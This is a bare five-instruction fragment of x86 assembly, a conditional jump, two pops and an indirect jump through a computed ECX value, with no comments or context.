jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx